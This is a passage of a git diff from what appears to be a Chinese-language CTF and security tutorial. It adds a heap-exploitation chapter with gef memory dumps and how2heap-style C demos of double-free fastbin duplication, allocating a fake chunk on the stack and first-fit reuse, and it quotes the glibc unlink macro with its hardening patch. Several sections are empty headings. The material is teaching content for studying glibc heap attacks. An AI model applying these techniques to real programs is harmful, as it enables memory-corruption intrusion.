0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected] +``` +这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址): +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d +0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ p &stack_var +$4 = (unsigned long long *) 0x7fffffffdc38 +gef➤ x/5gx 0x7fffffffdc38-0x8 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed] +0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer +0x7fffffffdc50: 0x0000000000602030 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index] +``` +可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 +0x602010: 0x4646464646464646 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 +0x602030: 0x4545454545454545 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index] +``` +再次 malloc,即可在 fake chunk 处分配内存: +``` +gef➤ x/5gx 0x7fffffffdc38-0x8 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk +0x7fffffffdc40: 0x4747474747474747 0x0000000000602000 +0x7fffffffdc50: 0x0000000000602030 +``` + +#### unsafe_unlink +```c + +``` +这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。 + +Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下: +```c +/* Take a chunk off a bin list */ +#define unlink(AV, P, BK, FD) { \ + FD = P->fd; \ + BK = P->bk; \ + if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ + malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ + else { \ + FD->bk = BK; \ + BK->fd = FD; \ + if (!in_smallbin_range (P->size) \ + && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ + if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ + || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ + malloc_printerr (check_action, \ + "corrupted double-linked list (not small)", \ + P, AV); \ + if (FD->fd_nextsize == NULL) { \ + if (P->fd_nextsize == P) \ + FD->fd_nextsize = FD->bk_nextsize = FD; \ + else { \ + FD->fd_nextsize = P->fd_nextsize; \ + FD->bk_nextsize = P->bk_nextsize; \ + P->fd_nextsize->bk_nextsize = FD; \ + P->bk_nextsize->fd_nextsize = FD; \ + } \ + } else { \ + P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ + P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ + } \ + } \ + } \ +} +``` +其中存在一个溢出的问题, + +而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下: +```diff +$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c +commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 +Author: DJ Delorie +Date: Fri Mar 17 15:31:38 2017 -0400 + + Further harden glibc malloc metadata against 1-byte overflows. + + Additional check for chunk_size == next->prev->chunk_size in unlink() + + 2017-03-17 Chris Evans + + * malloc/malloc.c (unlink): Add consistency check between size and + next->prev->size, to further harden against 1-byte overflows. + +diff --git a/malloc/malloc.c b/malloc/malloc.c +index e29105c372..994a23248e 100644 +--- a/malloc/malloc.c ++++ b/malloc/malloc.c +@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr; + + /* Take a chunk off a bin list */ + #define unlink(AV, P, BK, FD) { \ ++ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ ++ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ + FD = P->fd; \ + BK = P->bk; \ + if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ +``` + +#### house_of_spirit + +#### poison_null_byte + +#### house_of_lore + +#### overlapping_chunks + +#### overlapping_chunks_2 + +#### house_of_force + +#### unsorted_bin_attack + +#### house_of_einherjar + +#### house_of_orange + + +## 参考资料 +- [how2heap](https://github.com/shellphish/how2heap) +- [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/) diff --git a/doc/3.3.5_heap_overflow.md b/doc/3.3.5_heap_overflow.md deleted file mode 100644 index f7998bd..0000000 --- a/doc/3.3.5_heap_overflow.md +++ /dev/null @@ -1 +0,0 @@ -# 3.3.5 堆溢出 diff --git a/doc/3_topics.md b/doc/3_topics.md index 4d37f94..2cf8ac1 100644 --- a/doc/3_topics.md +++ b/doc/3_topics.md @@ -8,7 +8,7 @@ - [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) - - [3.3.5 堆溢出](3.3.5_heap_overflow.md) + - [3.3.5 堆利用](3.3.5_heap_exploit.md) - [3.4 Web](3.4_web.md) - [3.5 Misc](3.5_misc.md) - [3.6 Mobile](3.6_mobile.md) diff --git a/doc/6.1.9_rhme3_exploitation.md b/doc/6.1.9_rhme3_exploitation.md index 7b6f3dc..13704a3 100644 --- a/doc/6.1.9_rhme3_exploitation.md +++ b/doc/6.1.9_rhme3_exploitation.md @@ -703,7 +703,7 @@ gef➤ x/70gx 0x604010-0x10 0x604080: 0x4141414141414141 0x4141414141414141 0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins 0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected -0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bins +0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk 0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242 @@ -761,7 +761,7 @@ gef➤ x/70gx 0x604010-0x10 0x604060: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141 -0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bins +0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin 0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected 0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed] 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 @@ -799,7 +799,7 @@ gef➤ heap bins unsorted ``` #### alloc again -添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bins 中取出: +添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出: ```python alloc('D'*16 + p64(atoi_got)) ``` @@ -819,7 +819,7 @@ gef➤ x/70gx 0x604010-0x10 0x604080: 0x4141414141414141 0x4141414141414141 0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3 0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected -0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bins +0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bin 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242 diff --git a/src/Others/3.3.5_heap_exploit/Makefile b/src/Others/3.3.5_heap_exploit/Makefile new file mode 100644 index 0000000..0a60a90 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/Makefile @@ -0,0 +1,8 @@ +PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange +CFLAGS += -std=c99 -g + +# CFLAGS += -fsanitize=address + +all: $(PROGRAMS) +clean: + rm -f $(PROGRAMS) diff --git a/src/Others/3.3.5_heap_exploit/fastbin_dup.c b/src/Others/3.3.5_heap_exploit/fastbin_dup.c new file mode 100644 index 0000000..12f142d --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/fastbin_dup.c @@ -0,0 +1,34 @@ +#include +#include +#include + +int main() { + fprintf(stderr, "Allocating 3 buffers.\n"); + char *a = malloc(9); + char *b = malloc(9); + char *c = malloc(9); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a); + fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b); + fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c); + + fprintf(stderr, "Freeing the first one %p.\n", a); + free(a); + fprintf(stderr, "Then freeing another one %p.\n", b); + free(b); + fprintf(stderr, "Freeing the first one %p again.\n", a); + free(a); + + fprintf(stderr, "Allocating 3 buffers.\n"); + char *d = malloc(9); + char *e = malloc(9); + char *f = malloc(9); + strcpy(d, "DDDDDDDD"); + fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d); + strcpy(e, "EEEEEEEE"); + fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e); + strcpy(f, "FFFFFFFF"); + fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f); +} diff --git a/src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c b/src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c new file mode 100644 index 0000000..5edec84 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c @@ -0,0 +1,38 @@ +#include +#include +#include + +int main() { + unsigned long long stack_var = 0x21; + fprintf(stderr, "Allocating 3 buffers.\n"); + char *a = malloc(9); + char *b = malloc(9); + char *c = malloc(9); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a); + fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b); + fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c); + + fprintf(stderr, "Freeing the first one %p.\n", a); + free(a); + fprintf(stderr, "Then freeing another one %p.\n", b); + free(b); + fprintf(stderr, "Freeing the first one %p again.\n", a); + free(a); + + fprintf(stderr, "Allocating 4 buffers.\n"); + unsigned long long *d = malloc(9); + *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); + fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d); + char *e = malloc(9); + strcpy(e, "EEEEEEEE"); + fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e); + char *f = malloc(9); + strcpy(f, "FFFFFFFF"); + fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f); + char *g = malloc(9); + strcpy(g, "GGGGGGGG"); + fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g); +} diff --git a/src/Others/3.3.5_heap_exploit/first_fit.c b/src/Others/3.3.5_heap_exploit/first_fit.c new file mode 100644 index 0000000..8424a3d --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/first_fit.c @@ -0,0 +1,24 @@ +#include +#include +#include + +int main() { + char* a = malloc(512); + char* b = malloc(256); + char* c; + + fprintf(stderr, "1st malloc(512): %p\n", a); + fprintf(stderr, "2nd malloc(256): %p\n", b); + strcpy(a, "AAAAAAAA"); + strcpy(b, "BBBBBBBB"); + fprintf(stderr, "first allocation %p points to %s\n", a, a); + + fprintf(stderr, "Freeing the first one...\n"); + free(a); + + c = malloc(500); + fprintf(stderr, "3rd malloc(500): %p\n", c); + strcpy(c, "CCCCCCCC"); + fprintf(stderr, "3rd allocation %p points to %s\n", c, c); + fprintf(stderr, "first allocation %p points to %s\n", a, a); +}